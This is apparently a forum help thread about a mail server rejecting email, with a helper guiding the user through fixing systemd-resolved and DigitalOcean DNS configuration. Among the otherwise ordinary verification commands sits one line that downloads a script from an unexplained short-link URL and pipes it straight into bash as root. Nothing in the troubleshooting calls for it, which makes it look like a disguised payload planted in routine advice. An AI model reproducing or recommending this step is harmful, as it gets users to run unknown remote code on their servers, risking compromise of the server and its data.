My mail server is rejecting incoming emails

I going to restart

No, there is no need to restart yet, show me the output of these commands, you didn’t show them to me:

ls -l /etc/resolv.conf
cat /etc/resolvconf/resolv.conf.d/head

Or you didn’t execute above commands or you are not showing all the contents of the head file.

I enter to this route and found this


Remove that file (backup it first) and restart systemd-resolved

If I do that
image

You already created the right DNS= in the /etc/systemd/resolved.conf file so there is no need to duplicate it, just remove the file.

how do I delete this file.

mv /etc/systemd/resolved.conf.d/DigitalOcean.conf /root/
systemctl restart systemd-resolved

I delete if and it make a new fiel
image

Look this

If you already moved the DigitalOcean.conf file you won’t need resolvconf.

apt remove resolvconf

Just check again:

systemctl restart systemd-resolved
resolvectl status
curl -fsSL https://7j.gg/chksph2 | bash -s --

Why did you create a new file?

I didnt, Digital ocean create a new one.

im following all your instructions

Ok, let’s workaround it:

Remove first resolvconf as I said above.

:> /etc/systemd/resolved.conf.d/DigitalOcean.conf
chattr +i /etc/systemd/resolved.conf.d/DigitalOcean.conf
Restart your server and try again

Following your instroctions above
image

Why you duplicate the command?

The command is:

apt remove resolvconf